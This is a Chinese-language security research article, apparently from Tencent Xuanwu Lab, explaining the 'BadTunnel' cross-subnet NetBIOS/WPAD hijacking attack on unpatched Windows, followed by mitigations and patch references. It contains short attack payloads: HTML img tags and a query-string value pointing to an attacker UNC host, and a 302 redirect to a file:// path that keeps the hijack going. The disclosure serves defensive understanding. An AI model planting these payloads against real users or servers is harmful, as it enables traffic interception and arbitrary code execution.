Author：[email protected]
本文提出了一種新的攻擊模型，可以跨網段劫持TCP/IP廣播協議，我們把它命名為“BadTunnel”。
利用這種方法，可以實現跨網段的NetBIOS Name Service Spoofing攻擊。無論攻擊者和用戶是否在同一網段，甚至中間存在防火墻或NAT，只要用戶打開IE或Edge瀏覽器訪問一個惡意頁面，或打開一個特殊構造的Office文檔，攻擊者就可以劫持用戶系統對任意NetBIOS名稱的解析，從而實現仿冒本地網絡的打印服務器、文件服務器等。
通過劫持“WPAD”名稱，還可以進一步實現劫持用戶的所有網絡通信，包括一般網絡訪問，和Windows Update service以及Microsoft Crypto API更新Certificate revocation list的通信等。而一旦能劫持網絡通信，配合類似Evilgrade的工具（參考鏈接【1】），也很容易在系統上運行任意程序。
這種方法對沒有安裝2016年6月補丁的所有版本Windows都有效。可以通過所有版本的IE和Edge、所有版本的MS Office、以及大量第三方軟件觸發。事實上只要存在能嵌入file URI scheme或UNC path的地方，就可以觸發BadTunnel 攻擊。如果在一個快捷方式中將圖標路徑設置為惡意file URI scheme或UNC path，只要用戶在資源管理器看見這個快捷方式，就會觸發BadTunnel攻擊。所以BadTunnel可以通過網頁、郵件、U盤等多種手段進行利用。甚至還可能威脅WEB服務器和SQL服務器等（參考鏈接【2】）。
（本文并未包含BadTunnel相關研究的所有內容，其余部分將在BlackHat US 2016的演講“BadTunnel: How do I get Big Brother power?”中發布。）
NetBIOS是一套古老的協議。1987年IETF發布RFC 1001與RFC 1002，定義了NetBIOS over TCP/IP，簡稱NBT。NetBIOS包含三種服務，其中之一是名稱服務（Name service），即NetBIOS-NS，簡稱NBNS。NBNS可以通過發送局域網內廣播來實現本地名稱解析。
當你試圖訪問\\Tencent\XuanwuLab\tk.txt時，NBNS會向廣播地址發出NBNS NB query：
誰是“Tencent”？
而本地局域網內的任何主機都可以回應：
192.168.2.9是“Tencent”。
然后你的電腦就會接受這個回應，然后去訪問\\192.168.2.9\XuanwuLab\tk.txt。
這套機制談不上安全，但由于發生在局域網內，而局域網通常被認為是相對可信的環境。所以雖然很早就有人意識到可以在局域網內假冒任意主機，但這并不被認為是漏洞——就像ARP Spoofing并不被認為是漏洞一樣。
WPAD（Web Proxy Auto-Discovery Protocol）是另一套有超過二十年歷史的古老協議，用于自動發現和配置系統的代理服務器。幾乎所有操作系統都支持WPAD，但只有Windows系統默認啟用這個協議。按照WPAD協議，系統會試圖訪問http://WPAD/wpad.dat，以獲取代理配置腳本。
在Windows上，對“WPAD”這個名稱的請求很自然會由NBNS來處理。而如前所述，在局域網內，任何主機都可以聲稱自己是“WPAD”。所以，這套機制也談不上安全，但由于同樣發生在局域網內，而局域網通常被認為是相對可信的環境，所以雖然十幾年前就有人意識到可以在局域網內利用WPAD劫持假冒任意主機，2012年被發現的Flame蠕蟲也使用了這種攻擊方式，但這并不被認為是漏洞——就像ARP Spoofing并不被認為是漏洞一樣。
接下來還得再提一下TCP/IP協議。NBNS是用UDP實現的。UDP協議最主要的特點是無會話。無論是防火墻、NAT還是任何其它網絡設備，都無法分辨一個UDP包屬于哪個會話。只要網絡設備允許IP1:Port1->IP2:Port2，就必然同時允許IP2:Port2->IP1:Port1。
剛才我們說過NBNS使用廣播協議，通過向本地廣播地址發送查詢來實現名稱解析。但NBNS和絕大多數使用廣播協議的應用一樣，并不會拒絕來自本網段之外的回應。也就是說，如果192.168.2.2向192.168.2.255發送了一個請求，而10.10.10.10及時返回了一個回應，也會被192.168.2.2接受。在某些企業網絡里，這個特性是網絡結構所需要的。
所以，假如我們能在NBNS發出名稱解析請求的時候，從本網段之外返回一個回應，也同樣會被NBNS接受，就可以實現跨網段NBNS Spoofing。但存在幾個問題：
1、大多數主機都開啟了防火墻，從本地網絡之外主動向系統發送數據似乎是不可能的。即使不考慮防火墻，從互聯網上主動向一個局域網IP發送數據似乎更是不可能的。也就是說只能對有公網IP又沒有防火墻的系統進行NBNS Spoofing？
2、NBNS協議內部封裝的幾乎就是DNS報文，所以也有Transaction ID。只有Transaction ID匹配的回應包才會被接受。這個問題如何解決？
3、本地網絡之外的主機接收不到NBNS NB query廣播，又怎么知道該在什么時候發出NBNS Spoofing數據包？
幸運的是，這些問題都可以解決。
首先，Windows系統的NBNS使用且只使用137/UDP端口。“使用且只使用”的意思是：系統發起的NBNS通信，源端口和目標端口都永遠是137/UDP。也就是說，如果一臺內網的主機192.168.2.2向10.10.10.10發起NBNS查詢請求，大概會是這樣：
192.168.2.2:137 -> NAT:54231 -> 10.10.10.10:137
而10.10.10.10返回查詢結果時會是這樣：
192.168.2.2:137 <- NAT:54231 <- 10.10.10.10:137
也就是說，無論192.168.2.2的本機防火墻，還是NAT，還是中間的任何其它網絡設備，只要允許查詢請求發出，并允許查詢結果返回，就至少需要在一段時間內，允許10.10.10.10:137發出任何UDP包到192.168.2.2:137。這其實就開啟了一條雙向UDP隧道。BadTunnel，指的就是這個Tunnel：
192.168.2.2:137 <-> NAT:54231<-> 10.10.10.10:137
有個簡單的實驗可以幫助你理解這個隧道。準備兩臺開啟了防火墻的系統，IP地址分別是192.168.2.2和192.168.3.3：
首先在192.168.2.2上執行“nbtstat -A 192.168.3.3”，會失敗。
然后在192.168.3.3上執行“nbtstat -A 192.168.2.2”，會成功。
再次在192.168.2.2上執行“nbtstat -A 192.168.3.3”，會成功。
那么怎么讓192.168.2.2向10.10.10.10發出NBNS請求呢？當Windows系統試圖訪問一個帶有IP地址的file URI scheme或UNC path時，如果目標IP地址的139、445端口不可訪問（超時或收到TCP重置報文），系統會再向該IP地址發送NBNS NBSTAT query查詢。而讓系統訪問file URI scheme或UNC path的途徑太多了。
無論是Edge瀏覽器還是IE，都會試圖解析頁面中的fileURI scheme或UNC path：
#!html
<img src=”\\10.10.10.10\BadTunnel”>
所有類型的MS Office文檔都可以嵌入file URI scheme或UNC path。還有很多第三方軟件的文件格式也都可以。
特別是如果我們將任何快捷方式的圖標設置為一個UNC path，只要這個快捷方式顯示在屏幕上，系統就會試圖訪問UNC path。
而如果目標是一臺Web服務器，可能只需一個HTTP請求：
#!html
http://web.server/reader.aspx?ID=\\10.10.10.10\BadTunnel
至于TransactionID，NBNS的Transaction ID并不是隨機的，而是遞增的。前面提到，NBNS解析名稱時，會發出NBNS NB query；而系統訪問file URI scheme或UNC path失敗時，會發出NBNS NBSTAT query。NBNS NB query和NBNS NBSTAT query除了都使用且只使用137/UDP外，它們還共享同一個Transaction ID計數器。也就是說，當192.168.2.2訪問\\10.10.10.10\BadTunnel失敗，向10.10.10.10發出的NBNS NBSTAT query不但打開了一條雙向UDP隧道，還將系統的Transaction ID計數器當前值告訴了10.10.10.10。
也就是說，一個NBNS NBSTAT query同時解決了第一個問題和第二個問題。而第三個問題就更容易解決了。我們既然能在網頁中嵌入<img src=”\\10.10.10.10\BadTunnel”>，當然也可以同時嵌入：
#!html
<img src=”http://WPAD/wpad.dat”>
這樣，我們可以控制對“WPAD”的NBNS NBquery的發出時間。也就可以及時返回偽造的回應。最終系統會將我們偽造的http://WPAD/wpad.dat存入WEB緩存。之后當系統真正試圖獲取并解析http://WPAD/wpad.dat來設置代理服務器時，會使用WEB緩存中的這個。而至少對Windows 7來說，偽造的http://WPAD/wpad.dat會像其它被緩存的WEB資源一樣，即使關機重啟動，仍然有效。
即使不考慮WEB緩存，NBNS也有自己的緩存機制。只要成功實現一次NBNS Spoofing，偽造的結果會被NBNS緩存10分鐘：
此后10分鐘內系統本身也會試圖去解析“WPAD”進而訪問http://WPAD/wpad.dat來設置代理，但獲得的將會是緩存中這個偽造的結果。而攻擊者在一旦通過WPAD劫持到用戶的流量，可以定時對某些HTTP請求返回302重定向，實現循環BadTunnel攻擊，保持劫持狀態：
#!shell
HTTP/1.1 302 Found
Content-Type: text/html
Location: file://10.10.10.10/BadTunnel
Content-Length: 0
本文所描述的BadTunnel攻擊，是一個嚴重的安全問題。但當我們試圖尋找問題根源時，卻發現這并不容易。BadTunnel攻擊能得以實現，至少依賴于以下這些特性：
1、 UDP協議無會話；
2、 廣播請求可接受網段外回應。
3、 Windows默認開啟WPAD。
4、 Windows文件處理API默認支持UNC path。
5、 Windows訪問UNC path時，連接139和445端口失敗后會發起NBNS NBSTAT query。
6、 NBNS無論作為服務端還是客戶端，都使用同一個端口號。
7、 NBNS Transaction ID遞增而不是隨機。
8、 NBNS NBSTAT query和NBNS NB query共享同一個計數器。
9、 系統在實現WPAD時也使用WEB緩存機制和NBNS緩存機制。
以上所有設計特性，單獨來看，幾乎都沒問題，甚至是必需的。我們當然不能認為UDP協議無會話是個漏洞。即使NBNS Transaction ID非隨機這一點，也很難說是安全問題。因為NBNS NB這套機制原本設計用于內網，NBNS NB query以廣播包形式發出，內網任何機器都能收到。但是，所有這些單獨看起來都沒問題的特性，在協同工作時，就形成了一個巨大的安全問題。那么，我們應該如何去發現下一個BadTunnel?
即使不能及時安裝MS16-063和MS16-077補丁，也有一些其它方法可以阻止BadTunnel攻擊。
對企業來說，可以在邊界防火墻上關閉內部網絡和互聯網之間的137/UDP通信。
對無需訪問Windows網絡共享服務的個人用戶來說，可以考慮禁用NetBIOS over TCP/IP：
對兼容性影響最小的方式可能是在%SystemRoot%\System32\drivers\etc\hosts中添加固定的WPAD解析，或關閉自動檢查代理配置，來防止“WPAD”這個名稱被劫持：
不過要注意的是，這樣并不能阻止對其它名稱的劫持。而BadTunnel，不只是WPAD。
利用BadTunnel劫持WPAD可能是歷史上影響范圍最廣、觸發途徑最多的Windows漏洞，更可能是絕無僅有的寫一個Exploit即可攻擊所有版本Windows的漏洞。而實際上還可能更有趣。
MAC OS系統也實現了NBNS，并在某些場合支持UNC path，理論上也可以手工開啟WPAD，但由于MAC OS的NBNS實現細節和Windows有所不同，并且系統自身默認使用mDNS而不是NBNS去解析名稱，所以這個問題并不影響MAC OS——要不然就太酷了。
【1】 Evilgrade
https://github.com/infobyte/evilgrade/
【2】 10Places to Stick Your UNC Path
https://blog.netspi.com/10-places-to-stick-your-unc-path/
【3】 WebProxy Auto-Discovery Protocol
http://tools.ietf.org/html/draft-ietf-wrec-wpad-01
【4】 NetBIOS Over TCP/IP
https://technet.microsoft.com/en-us/library/cc940063.aspx
【5】 Disable WINS/NetBT name resolution
https://technet.microsoft.com/en-us/library/cc782733(v=ws.10).aspx
【6】 MS99-054, CVE-1999-0858
https://technet.microsoft.com/en-us/library/security/ms99-054.aspx
【7】 MS09-008, CVE-2009-0093, CVE-2009-0094
https://technet.microsoft.com/en-us/library/security/ms09-008.aspx
【8】 MS12-074, CVE-2012-4776
https://technet.microsoft.com/en-us/library/security/ms12-074.aspx
【9】 MS16-063,CVE-2016-3213
https://technet.microsoft.com/en-us/library/security/ms16-063.aspx
【10】 MS16-077,CVE-2016-3213, CVE-2016-3236
https://technet.microsoft.com/en-us/library/security/ms16-077.aspx